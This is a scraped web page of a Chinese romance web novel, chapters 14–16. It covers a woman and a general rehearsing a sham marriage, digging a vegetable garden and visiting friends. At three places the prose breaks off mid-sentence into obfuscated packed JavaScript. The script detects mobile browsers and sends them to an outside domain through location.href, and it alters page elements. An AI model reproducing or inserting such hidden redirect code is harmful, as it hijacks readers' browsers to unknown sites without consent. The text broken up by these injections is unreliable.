柳善因被眼前人这么盯着,瞬间紧张得不知所措,好半天才吐出一个淡淡的君字。她语毕偷偷抬眼偷瞄赵留行,以为能蒙混过关去。 谁知,赵留行竟严苛道:“这样好像不大行,再来。” “还来啊?”柳善因愕然。 天了个地姥娘娘,她又没成过婚,更没这么亲昵的称呼过旁人。第一次称呼的人,居然还是赵赵将军,这不是难为她嘛! 柳善因有些后悔自己方才答应的那么干脆,赵留行却冲他点点,饶是拿出了练兵的气势。瞧着今晚若是不听见眼前人妥帖唤出一声夫君,就决不罢休。 “好吧。”柳善因看赵留行态度坚定,无奈妥协。 她下意识捏住衣角,起身一点一点蓄力,瞧着马上就要成功,却在临到开口时露怯,转而发出了如蚊鸣般的一声:“夫君。”便害羞地坐了回去。 “……” 赵留行陷入沉默。 柳善因看着气氛逐渐尴尬,赶忙低头道歉:“对不起赵赵将军,我这样是不是帮不到你,还会拖累你…” 女郎的自责让赵留行如梦初醒,他收起了自己的执着,慌忙开口:“不是这样的小柳,是我的问题。既然这声夫君喊不出口,那便不喊了。咱们还是想想到时若被人问起你我二人的相遇,该如何言说吧。” “你我二人的相遇?是要编一个吗?”柳善因有些好奇。赵留行说:“差不多。” 一说起编故事,方才还蔫头耷脑的柳善因,瞬间来了精神,“这个我可以!我从前没少在村口听他们讲什么邻村的爱恨,镇里的情仇。咱们也比葫芦画瓢,编出一个就好了呀。” “那你想想。” 赵留行见柳善因的情绪不再低沉,也就放心不少。他坐正了身,想要认真听听眼前人的想法。 柳善因歪起头,把那些年在村口听过的家长里短想了个遍,“嗯…我们不若就这样说是……” “一个威武霸道的少年将军,有次行军路过属下家的村庄,正巧见到属下那明艳动人,倾国倾城的家妹赶来给属下送炊饼,结果被其迷得神魂颠倒,无法自拔,顿时见色起意,与属下家妹共度春宵。谁料一夜过后,他竟忘恩负义,翻脸无情——” “小柳你先等等。” 赵留行蹙眉相望,总觉得哪里不对劲。柳善因惑然回看,“赵赵将军,怎么了?你先别急,我还没讲完呢!” 柳善因兴致勃勃说罢就要继续,吓得赵留行赶忙阻止,“可以了,小柳。不用再说了…你自己听听,这真的像话吗?” 话音落去,柳善因瘪嘴不言,赵留行扶额不语,他甚至有些怀疑眼前人编出这个故事,就是在报复自己! 14. 第 14 章 昨日聊至灯燃夜暗,柳善因与赵留行也没聊出个所以然。 最后也只能说到时临场发挥,随机应变,但赵留行却给柳善因私自定了个霸道规矩——那便是打今日开始,柳善因都不得再唤他赵赵将军,只能唤他夫君。 直到熟练为止。 这不是为难柳善因?可谁叫这是她的“职责”所在,便也不得不应了下。 翌日一早,赵留行休沐已尽,该是到御前上值去。 待到用罢早饭,换了身行头,他同屋里抱娃的柳善因打了声招呼:“小柳,我到宫中上值,后天一早回来。家中若有急事,就让长夏到丰德门传话。” 卯时的小院悠然平静,鸟鸣声声清脆,颤动枝头片片落雨。 柳善因哄着孩子打外望,门外那双眼眸在春光里煜煜,赵留行今日瞧上去精神头极好,但她还是有些许的不安心,“这么快就要去上值了吗?昨天奔波一日,你背上的伤还没好全,不用再歇歇了吗?” 赵留行摇摇头,“一些皮肉伤不打紧。时候不早,我先走了。” “我送送你。”柳善因却追出屋去。 赵留行回过头,收起了向前的步子,没有推拒。 恍惚一瞬两人在廊下对上眼神,就好似一对寻常的夫妻般相互问候,又默契地并肩行上小径。 飞花烂漫里,柳善因垂了眸。 虽说与赵留行碰面不过三两日,但她对眼前人竟不觉得陌生,大抵是她曾将赵留行写给自己的书信读过太多遍,早就将人映在了脑海。行过院门,赵留行腰间斜挎的佩剑叮当作响,他眉宇间的威严似剑上寒霜。 两个人就这么不言不语地去到了府门前,该是作别。 长夏这勤劳的家伙,总是出现的恰到好处,她拎着水桶打远瞧见二人相立,赶忙躲进了近处的柱子边,就这么猫在门后抬头望,悄悄观望。 “路上慢些,小宝跟将军大人再见。”柳善因捏着小侄子的手,朝赵留行挥了挥。 尽管眼前人给她定了规矩,可柳善因也有她的对策。 瞧着从屋里到府外,但凡该说话时,她便不再称呼赵留行,以此来避免唤出那声羞人的夫君。只是赵留行这个犟牛,岂能将她放过? 柳善因的话音落去半晌,赵留行依旧站在原地,还环起了双臂。 “不走吗?上值该迟了。”柳善因有些疑惑。 赵留行偏盯着她说了句:“小柳,是不是忘了些什么?” 柳善因不明所以地回头望向府内,“忘了什么?你是有什么东西忘了带吗?与我说,我帮你去拿。” 赵留行不作声,待到柳善因回过头,眼前人却已俯身和自己只隔了个小宝脑袋那么宽的距离。 柳善因第一次同他离得这样近,一时间竟忘记了该如何呼吸,眼神中全是慌乱。她亦是头一遭瞧得这样清,好个剑眉星目,器宇轩昂,意气风发的儿郎——难怪那郡主能相中他赵留行。 这场面叫一旁偷瞄的长夏瞧去,忍不住敲起了手边的柱子,可是更让她惊讶的还在后头。且瞧赵留行挑眉盯着目光闪烁的柳善因,沉声说道:“叫我。” 柳善因面上羞人答答,心下不由得几声骂。这人还真是严厉,到现在也没忘了那事去,早知就不出来送他了! 柳善因扫视两眼赵留行,却见前人并未有半分要放过自己的意思,那是跟他耗下去?还是乖乖就范呢? 柳善因兀自挣扎。 “小柳,叫我。” 赵留行深沉的声音,就像是给她下了最后通牒。 感觉柳善因若再不乖乖叫出那声夫君,恐怕下一秒便会被他抓到大牢去——柳善因怕啊,宁远将军的恶名,亦是名不虚传的。 那就乖乖就范吧。 “夫君!” 情急之下,柳善因声音洪亮。可她一点不像是称呼夫君的妻,倒像是个报告将军的兵…… 赵留行不管那些,他觉得只要能听见这两个字,就算小有成效。如此柳善因无事喊两声,那到上巳节的时候不就驾轻就熟了? 赵留行甚是胸有成竹。 他在抬手捏了捏小家伙肉乎乎的脸后,起身抛下一句:“走了——”便转身扬长而去。 丝毫未见柳善因烧红了脑袋。 彼之,长夏瞠目而望,她直言:这两口子,真有意思。背着人的时候,原来比人前还猛咧! - 丰德门下,风听和吾雷拦住了赵留行的去路。 “头儿,早啊。”风听笑着挥手。 “早吗?快迟了还早?等着跟亲卫那些家伙交班的时候挨骂吧。” 今日赵留行是在家耽搁了些时间,走上朱雀街时已然卯时三刻有余,他抬头平视起并肩挡在自己面前的高壮儿郎,跟着就伸手怼了风听一下。待到风听哎呦一声弹开,他便二话不说朝宫内走去。 风听的抱怨声在身后起伏,“为什么只打我啊?挡路的又不是只有我!而且头儿你自己不也迟了!” “为什么?因为你最欠打。”吾雷随之说了句风凉话。 “诶?你小子,你跟谁一伙的?昨夜的格食你别忘了是谁请的客——” 风听不服,抬脚追了上去。 三个人就这么齐头行上了夹道,往勋府交班而去。 路上,就算是挨过了赵留行那么多拳头,风听却还是耐不住欠打的性子,依旧喜欢在赵留行面前犯贱。 只瞧他转头瞟了眼神清气爽的赵留行,登时开口啧了两声,“头儿瞧着心情不错,这儿哪像在家挨过打的样?到底有媳妇孩子陪着,就是好得快,不比我们这些断雁与孤鸿呦。” 若不吾雷说他最该打,真是一点也没错怪他。 吾雷在旁瞧着风听那副模样直摇头。 风听却斗胆继续道:“头儿,你快跟我说说,这家里热热乎乎的感觉到底怎么样?是不是白日里一睁眼,都是笑醒的?若不然谁见过头儿上值迟过?头儿哪天不是头一个来?我瞧勋卫里日日迟来的,也就只有那比咱们头儿大两岁,家中却已有二子一女的中郎将喽——” “二子一女的中郎将替你们头儿回了,白日里我在家不是笑醒的,是被我家小女的巴掌扇醒的。你家头儿应该也是一样。” 说话间,一个极其阴郁的声音从三人身后传来,若不是现下天光大亮,三人恐还以为是闹了鬼。 那背后说人坏话的风听最先回眸,他一瞧见官职比赵留行高一阶的勋卫羽林中郎将郑洛均站在自己身后,吓得拉上吾雷连忙逃开,“中郎将,头儿,我们上值去了!” 郑洛均的到来,替赵留行摆脱了风听的纠缠,也帮风听免了顿胖揍。可他面对起风听背后的闲言闲语,不但没恼怪反倒一脸迷茫望向赵留行,“怎么走了?我有说错什么吗?” 郑洛均斯斯文文一脸书生模样,若不是穿着甲衣,谁能想到他是个武将。 说来无奈,勋卫羽林郎多是官宦子弟充当,郑洛均乃户部尚书家的第九子,从小苦读诗书兢兢业业,一日不曾懈怠,可奈何年年科考,年年落榜。 年年落榜,还年年科考。 最后连家中都看不下去,就给谋了个勋卫的差事,在宫中供职。但郑洛均并未放弃自己儿时的梦想,二十一岁的他,仍旧励志要考到耄耋之年去。 赵留行摇头不语,他与郑洛均是老相识了。 甚至可以谈得上是发小之谊,就连他现在的夫人,也与赵留行相熟。只不过,自打赵留行离开家后就和他们失了联系。回京后赵留行听说他俩成了婚,愣是惊讶了许久才接受了这个现实。 两人并肩行路,郑洛均忽而开口:“听他们适才那样说,看来这事是真的。” 赵留行没听懂,“什么是真的?” “就是你为了自己在外娶的媳妇,公然拒了呈王府婚约这事是真的。”郑洛均说着搓了搓衣角边被小闺女蹭上的丹青,“赵三郎,你还真是深藏不漏啊,回京半年竟是一点风声没透。你不跟家里说便罢,连我也藏着掖着。我家那位本来还说你若不喜欢郡主,就把她家五娘介绍给你呢。这下好了,她也不用惦记了。” 洛阳城果然藏不住事。 赵留行冷笑,他哪里是是藏着掖着?他知晓自己有妻有儿这事,比他们早不了半刻。转角走过高墙,赵留行不经意瞥了郑洛均一眼,突然就发出一声诧异的:“郑九郎,你脸色怎么这么难看?” “难看?你说我脸色难看?”郑洛均闻言扯出一丝苦笑,他反过来嘲讽赵留行,“你等着吧,你跟你媳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125346|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇再多生几个,到时候脸色就跟我一样难看。” 赵留行不敢接茬,他恍惚想起那日连夜寻找乳娘的自己…… 亦是这般狼狈不堪。 郑洛均瞧他不接茬,又自顾自地说起话来,“这回虽说你拒了家里的婚,搞得有些麻烦。但你能有妻有儿,我也就放心了。我原先还以为你是因为爹娘的事心有芥蒂,对娶妻生子排斥呢。” “没想到,你是闷声干大事。” “不过这成亲啊,就跟做饭是一样的。你得小火慢炖,才能出好味。你呢,以后有什么问题尽管问我,打仗你比我有经验,但这事——我比你有经验。” 郑洛均在赵留行耳边喋喋不休。 他俩从小就是这般,赵留行在院子里练多久的功,他就抱着书本跟赵留行聊上多久。 赵留行甚至全程很少接茬。 此刻,赵留行的心思依旧不在郑洛均的言语上,他没接郑洛均的话,反而开口冲他说:“郑老九,我自回京后,你是不是还没邀请我到你家做客?” 郑洛均惑然望向赵留行,眼神中还带有一丝不敢置信,“谁说的?你难不成忘了,不是我不请,是我请了你压根不来!明明是你拒绝的,怎么现在成了我没邀你?真是好笑。” 赵留行闻言没做解释,只自作主张应了声:“哦,那等后天下值我带着小柳去你家做客。” “?” 郑洛均一脸愕然。 他不解一个人怎么能做到过去这么多年,还跟个木头桩子一样,一点不曾更变?还有……到底谁到别人家做客,是这么通知主人的? 郑洛均心里愤愤,偏在被赵留行按住肩膀时安静如鸡,“怎么样九郎,有问题吗?” 赵留行没别的意思,他只是单纯地想要问问他方不方便。可在郑洛均的眼里瞧他一脸煞气,何以拒绝,郑洛均忙说:“没,没问题。欢迎,欢迎,我家那位早说叫你去了。” “那行,走,上值去吧,这回真迟了。”赵留行得了应允,欣然松手离去。 郑洛均望着赵留行轻松的背影,一头雾水。 原先拒绝做客的是他,如今又要领着妻儿登门的也是他,郑洛均觉得不对劲,却又猜不透眼前人这葫芦里到底卖的什么药…… - 两日匆过,郑洛均下值前跟赵留行再三确定,是不是真的想好到自家做客去。 赵留行嫌他啰嗦,嗯了一声转头就走。 郑洛均便高声直呼:“那我就和内子在家等你,记得把弟妹一并带去——” 可谁成想等他前脚刚到家跟内子何斐真说了这事,赵留行那边就派人来扣了门。 只见府门轻开,土酥板板正正立在门前,看着里头出来的郑家夫妻俩眯眼笑道:“不好意思啊郑郎君,我们将军说今天要跟我们夫人在家犁地,有点抽不开身,特意让小的来跟你们说声抱歉,今日就不过来了。他们明日再来登门拜访。” 土酥说罢就躬身离去。 彼时,赵留行不在面前,郑洛均才敢握着拳头怒骂:“混账赵老三,想一出是一出,他到底想干嘛!” 何斐真却开口劝他,“得了得了,跟他玩了那么多年,他什么个臭脾气你不知晓?明日就明日吧,今日正好孩子们该学字了,你吃完午饭过去教教。” 郑洛均是个惧内的主,何斐真叫他做什么,他便做什么,他赶忙应了声:“好。” 瞧着夫君应声,何斐真侧倚在门前不由好奇说起了闲话,“诶,没想到赵老三个混不吝对媳妇居然挺好的,就是他这是找了个什么样的,在家犁什么地?谁会在家犁地?” 郑洛均摇摇头,他哪知道…… 可何斐真思量半晌,又惊呼起来,“哎呦呦,总不能说的是那事吧?” “啥事?”郑洛均不解。 何斐真见状贴去夫君身旁低语道:“只有累死的牛,没有耕坏的田,就咱俩晚上做的那事。” “啥?不能吧!”郑洛均着实被何斐真的话吓到,“谁白天做这事,成何体统,这么急吗?” 何斐真撇撇嘴,在转身离去前白了郑洛均一眼,她直言:“你懂个甚,人家两个正是干柴烈火的好时候,你以为谁都跟你似的?干什么都循规蹈矩的没情趣——” 15. 第 15 章 半个时辰前,赵留行到家后前院空无一人,没想到回到寝屋也是一样。他跨门将甲衣卸下周遭一片死寂,就好似家中只他一人而已。 赵留行纳起了闷,这两日不在家,是出什么事了? 人都到哪去了? 赵留行不明所以,他换好衣裳打屋里出来,茫茫然往厨房去,隔着老远就听见一群人在后头欢快地说笑。 “夫人你瞧瞧土酥,这时候都不忘偷吃——” “长夏,干什么给夫人告状!吃点枇杷也不行吗?你不知道能吃是福吗!” 然等他露面轻咳两声,众人却噤声回眸,长夏更是一拍脑袋,怎么把他给忘。 她忙道:“三郎君,你回来了。” 回来了?她还知道他回来?瞧着赵留行再不回来,这家里都快没他也行了。 一群人站在厨房旁的空地边笑脸相迎,乳娘见状抱着小家伙朝赵留行走了过去,“小郎君瞧瞧谁回来了?是不是爹爹回来了?高不高兴?来,咱们找爹爹去!” 两日的单身生活,把赵留行又打回了原样。 他瞠目看着小家伙离自己越来越近,身体是止不住的抗拒,可怎么让人家柳善因演戏,自己却能不尽心?他只得硬着头皮把孩子接了过来。 这边当爹的端着孩子笔直站着,那边当娘的撸着袖子回头看去,她一见赵留行脱出就是一句:“赵赵……” 赵留行循声相望,柳善因忽而想起和眼前人的约定,赶忙改口道是:“夫君,你回来了!上值辛苦。” “你们在这儿做什么?” 赵留行端着孩子来到柳善因身边,垂眸朝她周身松软的土地扫视一遍,跟着疑惑了句:“犁…地?” 柳善因虽然瘦小,可她一拿起锄头,就好似有用不完的力气。她听见赵留行这般说,赶忙停下手中的活计,用双手撑着锄头朗声答曰:“是呢,我前日见这块地空着,实在荒废,就想着能不能给利用利用。” “昨晚上我思来想去了一夜,打算把这里翻整翻整,弄出个菜园子。这样赵赵以后…夫君以后就可以吃上我种的新鲜瓜果了!” 柳善因是个闲不住的,从前在家做活做惯了,就是来了洛阳,她也从未想过自己是来享福的。 赵留行一走两日,勤劳的她觉得自己每日都在家里这样闲着不是办法,她也想做些自己力所能及的事,报答报答赵留行。可京城娘子做的那些琴棋诗画,她实在学不来。她便只能干起了她最拿手的事—— 种地。 赵留行似乎不太理解,果蔬这些东西不是出门便能买到,柳善因缘何要自己辛苦劳作?但他看着柳善因兴致勃勃的样子,也并未扫她的兴,只若有所思站着。 柳善因歪起头,看他心事重重的样子,忍不住去问:“怎么了夫君,你是有什么事吗?” 赵留行不忍打断她火热的劲头,下意识道了句:“没什么。”便私自将去郑家做客的事按下不提。 柳善因点了头,髻上灵动的蝴蝶轻轻晃,她粲然一笑,“那夫君就回去歇息吧,我再过会儿便弄完了。” 柳善因一口一个夫君喊的流利,看来赵留行的计划是初见成效了。可殊不知,这亦是柳善因自己在家苦练的结果。 她啊,这几日趁着赵留行不在,可没少冲屋里的木头柱子轻唤夫君。有次被长夏撞上,还以为是她思念赵留行思念得紧,给害了病…… 赵留行没应声,他转头叫了土酥,土酥叼着吃剩的枇杷诧异地指了指自己,“我?将军叫我吗?” 土酥左看了看长夏,右望了望乳娘,不敢确认赵留行叫的是她。赵留行却开口说:“这儿除了你叫土酥,还有人叫这名吗?” 土酥才怯怯地上前,她本以为是赵留行要与她清算偷吃的事,没成想,他说得是到郑家传话的事。而赵留行之所以选她,还不是因为她常溜到街上去,对东街西坊轻车熟路。 二人低声交接罢,赵留行还不放心地追问:“我说的你可记住?切莫走错了人家。” 土酥自信满满,一听说能跑去街上放风,瞬间开心的难以自抑,“自然记住,将军就放心吧。” 柳善因在旁翻弄着脚下土地,撅嘴偷听,却是一无所获。她巴巴望着赵留行,想问是什么事,又不好意思张口,最后也只能作罢。 反正应是不会关于自己吧…… 柳善因默默垂头翻土,她没察觉赵留行在那头将孩子交还给乳娘,正朝她靠近。 直到一双有力的大掌接去了她的锄头,柳善因才恍然抬头与赵留行两两相望,她默而听眼前人对自己说了句:“我来帮你。” “你也会种地吗?”柳善因缓缓松开手,赵留行竟直言:“不会,但你可以教会我。” 话音落去,周遭的人在偷笑,而柳善因却懵懵应了声:“好,我教你。” - “原来你今天和土酥说的是这件事啊——” 晚些时候,地犁完了,长夏等人散去,余剩下柳善因和赵留行两个人席地而坐在菜园子的小土包上,望着自己的劳动成果欣慰笑起。 赵留行跟柳善因坦言了白天的事。 柳善因啃着土酥送来的新鲜枇杷回头看他,“那你今天怎么不和我说呢?菜园子明日再犁也行啊,这样爽了别人的约是不是不太好?” 赵留行不喜欢吃枇杷,随便在篮子里挑了个李子咬了咬,他应声说:“我看你在兴头上,就没想着打扰。说实话见你这么久,还是头一次见你这么有干劲。至于爽约…没什么关系,郑九郎不敢同我计较。明日再去也是一样。” 尽管赵留行这么说,但柳善因还是觉得不妥,她便垂眸搓着掌心粗糙的沙砾小声道:“那我们明日早些去吧,给人家赔个礼?” “都行。”赵留行没有什么意见,他做事向来随心所欲,顺意而为。 柳善因点点头,她举目看着菜园子里一道道证明他们辛勤劳作的印记,忽然怀念起了从前在兰花村耕作的日子,那日子虽然清苦平淡,但什么都在,哥嫂在,良田在,家里的小院也在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133796|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳善因从不觉得自己穷,她觉得自己就是天底下最最富有的人。可祸起一夕,所有的东西都离她而去。 柳善因弯下腰,将下巴抵在膝头轻声问赵留行,“明日要带小宝一起去吗?” 赵留行侧过头,深邃的眼神落在她倔强的脊背上,“不带他能行吗?他可是最黏你,我算是领教过了。” 柳善因闻言想起那日在成衣铺里赵留行的窘迫,不禁哈哈大笑,弄得一旁赵留行莫名其妙地推了推她的肩膀,“你笑什么?” 柳善因怎能承认自己在将他嘲笑,连忙摇头否认说:“没,没笑什么,是吸到了凉气,嗓子难受……” 赵留行不信,柳善因不认。 两人就这么往复循环,说说笑笑,在菜园子里待到夕阳西下,才回屋了去。 - 次日一早,赵留行应了柳善因的承诺起了个大早,谁知道提出这要求的柳善因却赖着不起。 兴许是昨日地犁的太累,叫她睡的沉沉,居然赵留行站在床前看他半晌,她都没所察觉。惹得赵留行最后无奈只能轻唤:“小柳,该起了。” 柳善因迷糊糊睁开眼,赵留行趁势转身坐去桌案,背对着柳善因开口说:“你不是说要早一点去吗?” “什么要去早一点?” 柳善因揉着惺忪的睡眼坐起身来,赵留行不可思议地回头看去,等到与之四目相对,柳善因这才恍然大呼:“哦,对呀!我怎么给忘了——” - 二人早起这么折腾一晌,最终还是没能早些过去。柳善因和赵留行差不多是踩着巳时末,才到了郑家。 面对郑家两口子热情地接待,柳善因有些不好意思,赵留行却没什么所谓。 何斐真一见赵留行张口便说:“赵老三,你还真是几请都请不来的贵客——瞧着若不是沾着弟妹的光,你大抵是不会登我们的门。” 赵留行看了何斐真一眼,没做搭理。眼前人同样出身将门,与他算起来还能攀上些远亲。 他俩自小就不对付。 何斐真小时候更是没少欺负郑洛均,所以他俩能成为两口子,是赵留行怎么也没想到的。 然郑洛均昨日愤愤,今日见了赵留行竟是屁也不敢放,他啊谁都惹不得。看着一群人挤在门外,郑洛均忍不住去邀大家进去,“行了,咱们就先别在这儿堵着了,弟妹这还抱着孩子咱们进去再聊——” 柳善因从始至终插不上一句话,只得尴尬陪笑,这会儿笑得更是有些发僵。她看了赵留行一眼,等赵留行点头示了意,她才抬脚往前去。 郑洛均与柳善因前脚刚走,何斐真后脚就悄悄拉住了赵留行。赵留行惑然回首,“你又想做甚?” 何斐真却万般好奇地朝他靠去,“诶,昨儿……你们那地犁的怎么样?” 赵留行哪里知晓眼前人此话何意,他只不假思索道是:“挺好。” “挺好?”何斐真闻言登时刮目相看,她紧跟着便说了句:“赵老三,还得是你——”弄得赵留行茫然不已。 16. 第 16 章 何斐真说罢不等赵留行回问行个什么,便轻轻快快走过他的身边往郑洛均那去。赵留行站在她家门外瞧着她和从前一样神经兮兮,不由得骂了声:“有病。” 幸好何斐真没听见, 若是听见了,她必是不能饶了他这远房表弟去。 别瞧赵留行现在人高马大的,小的时候何斐真长得早,没少把他和郑洛均这对难兄难弟按着打。赵留行是好男不跟女斗的不还手,而郑洛均呢?是手无缚鸡之力,想还手压根打不过…… 孩提的时光,乃赵留行最不肯回忆的过往。 那时候因为不受赵爹待见,以至于府中兄弟姐妹对他也是漠然排挤,只有何斐真和郑洛均这两个外姓人,愿意同他说话玩耍。说来若无他们夫妇两个,赵留行恐怕都熬不过那些晦暗的日子。 府门外人愣着,跟随夫妇俩垂眸行路的柳善因最先察觉赵留行没来。 她赶忙停下脚步,回头找寻赵留行的身影。 等到瞧见赵留行站在来时的地方,她竟悄悄调头回去找了他。 柳善因抱着小侄子乖乖来到赵留行面前。 于这偌大的洛阳城里,她只认得他,好似只有呆在赵留行身边,柳善因才能获得些许安心。若是离得太远,亦或是瞧不见赵留行,她都会感到彷徨。 谁叫她本就不属于这儿呢…… “夫君站在这里做什么……不进去吗?” 柳善因举目相望,瞧着要是赵留行现在道出一句回家,她就能立马跟着回去。赵留行回神看向柳善因,顿时转变了态度缓道:“没什么,这就进去,你怎么跑过来了?” 柳善因托着小侄子软和和的屁股,有些不好意思地小声说:“我怕你有事情找不到我……” 可赵留行就是块不解风情的臭木头,他抬脚便说了句:“我没什么事找你,走,进去吧。” 彼时,在不远处的小径上,郑洛均好奇地探头与何斐真私语,“夫人适才怎么在外头半晌不进来?是跟三郎说什么呢?” 何斐真抖了抖肩膀撇开郑洛均,不以为意,“怎么?我跟老三说什么还要跟你汇报?我俩说悄悄话呢——难不成他的醋你也要吃?小心眼的货。” 郑洛均被身边人嫌弃,却并未气恼,反倒再次没脸没皮地靠去。他捏了捏何斐真的肩,一脸殷勤相,“哎呀,为夫单是有些好奇。夫人说说嘛,说说吧。” “就你事多。”何斐真转眸点了他的头,语气略带宠溺。 郑洛均微微一笑,听眼前人小声道是:“我适才问了老三,他们昨儿地犁得如何。你猜他怎么说?” “啥?你就这么直接问了他——” “对,直接问的。你这么大声作甚。” 郑洛均跟何斐真相识十几年,成亲六七年载,孩子都生了二三,却还是偶尔会被她的随心所欲给吓着。他个谨小慎微的君子,想来这辈子都不会有这么勇敢的时候…… 可好奇心终究大过了廉耻,他转头便问:“那他怎么回的?” 何斐真在左右扫视后,贴着他的耳朵应声道:“他说……挺好!” 郑洛均噫了一声,下意识骂了句:“真不要脸。” 何斐真撇嘴反驳,“是是是,郑郎君要脸,你夜半别登我的床。”郑洛均听媳妇这么说赶忙改了口,“不不不,他赵老三要脸,不要脸的是我。” 果然是熟得跟一个人般的老夫老妻,说起话来没那么多顾忌。 何斐真就喜欢郑洛均这对自己贱兮兮的模样,可她不说,只故意白了郑洛均一眼。 偏就是这么一眼,叫夫妇二人终于发现客人早已不在身边。 “诶?人呢?”何斐真回头。 郑洛均妇唱夫随,“怎么弟妹又跑门外了?” “你懂个什么!” 何斐真咂咂嘴,一个劲地笑,“这刚生了头胎就是不一样,瞧着弟妹对老三很是爱慕呢,一步都不愿分开。我原先还以为老三会找个跟他一样倔的,两人倔到一块去,没成想居然找了弟妹这般娇憨惹人怜的。赵老三眼光不错,就比你少差那么一些。” 郑洛均瞧了何斐真一眼,心想她还真会往自己脸上贴金。 这时间,赵留行领着柳善因从门外走来,瞧见夫妇两个正意味深长地看着自己,立刻蹙眉回看,“你俩这么瞧着我们作甚?指定没憋好屁。” “嘁,瞧瞧怎的?你个郎将,还不能瞧了?”何斐真口快,压根轮不上郑洛均插嘴。 她掐着腰,张开口就是一连串地讲:“我还没说你呢,这头一遭来我家登门,空着手来就罢了,还这么横行霸道。你别以为我家九郎好欺负,就也不把我放在眼里。我可告诉你,你胆敢欺负我家的人,我不饶你——” 何斐真几句玩笑话,赵留行与郑洛均早已见怪不怪。 可柳善因这初来乍到的,却被吓得赶忙赔礼:“不是这样的,您别生气。我们带了东西来的,就是…还没到……” 柳善因语毕回头,像个犯错的小孩般看向赵留行。 她想他们昨日已经失礼,今日若再惹得主家生气,实在是太不像话了。 谁知,赵留行居然斗胆盯着人家夫妇俩冷言道:“我俩走路来的,拿不了那么多东西。等着吧,少不了你家的,一会儿就送到了。” 柳善因还在旁边害怕,何斐真那端却已挑眉回了句:“这还差不多。” 她说罢笑逐颜开,缓缓走到柳善因面前解释:“哎呀,弟妹别害怕。我跟你们开玩笑呢,别当真,就是真的空手来也无妨的,你们能来就是最好的礼数了。其余的都不打紧。” 望着何斐真笑意盈盈,柳善因总算把心放进了肚子里,到底是她单纯,闹了笑话。 话落之后,她竟还同何斐真诚恳道:“您没生气就好。” 弄得何斐真惭愧不已,忙将矛头对准赵留行,“瞧瞧瞧,既是走路来的,赵老三你怎么能叫弟妹一直抱着孩子,真不像话,当爹的怎么这般不上心。你难不成是落魄到连个女使婆子都用不起了?” 但何斐真这回是实打实冤枉了他。 出门前小家伙吃奶睡下,全然没法像平日那样端着,赵留行也只能让柳善因一路辛苦。 可不是他甩手不管。 何斐真不知缘由,瞧她二话不说熟练抱过柳善因怀里的娃娃朝赵留行递去,“来,快把你儿子抱好,叫弟妹清闲清闲——还有今儿我要和弟妹好好聊聊天,孩子就你们两个来带。” 何斐真说着伸手示意赵留行接下。 赵留行却瞠目相望,半晌不见动弹,他哪里会抱孩子?还是个熟睡的孩子…… 不得行,不得行。 柳善因望着赵留行为难的模样,赶忙伸手解围,“还是我来吧。” “弟妹你别管,难道他不是孩子爹吗?抱会儿孩子怎么了,一瞧他平日里就不帮衬你带孩子。这点比我们家九郎差远了。就让他抱。”何斐真强势将孩子塞进赵留行怀中,不给柳善因丝毫搭话的机会,赵留行无奈只得把小家伙重新端起。 柳善因见状刚想上去帮他,就被何斐真一把拉走,她冲满脸担忧的柳善因说:“弟妹,莫要心疼。男人带半日孩子出不了什么事,咱们该放手时也要放手。你别担心,有什么事有你九郎兄呢。” “走走走,后院的杏花开了,我带你到院中瞧瞧。” 何斐真盛情难却,柳善因一步一回头地望赵留行,她的眼神就好似在说:赵赵将军,你真的可以吗?赵留行也好似读懂了她的话,故作坚强地道了声:“去吧。” 可是等柳善因的身影彻底消失在岔路上,赵留行竟忽而泄了气,他垂眸看着手臂上端着的娃娃,瞬间面如死灰,他是真不知该如何面对…… 郑洛均站在旁边看戏。 他这辈子还是头一遭见眼前人这般模样,曾经的赵留行是如何的盛气凌人,不可一世。 看来啊,只要是当了爹都是一个样。 郑洛均自觉说教赵留行的时机终于来临,他便一脸得意地拍了赵留行的肩扬声说:“啧啧,怎么当爹的,连孩子都抱不好?还是得让为兄来教教你呀——” - 与此同时,在去往郑家的路上,土酥和长夏抱着主家要送的礼品缓缓而行。 “就说让家里赁辆马车,将军就是不听。他和夫人两个,天天这么城东城西地跑,就不嫌累吗?他们不嫌累,我还嫌累呢!”长夏一路上边走边唠叨。 土酥是一句话也不接,长夏原以为她是不想理自己。 可等她转过头,居然听见遮挡二人的礼盒后,冒出阵阵如老鼠偷食的声音,惹得她不由得伸手去探,“不是吧,白土酥!走着路你都有功夫偷吃?我真是服了你。” 土酥循声抬眸,“当然可以了,这一路多无聊啊,不吃些怎么有力气。长夏,你要不要来一块?这是我今早新做的,还特意加了院子里的桃花,可好吃了。” 长夏闻言愤愤,大道:“不吃!” - 郑家这边,赵留行与郑洛均走上小径。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161128|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 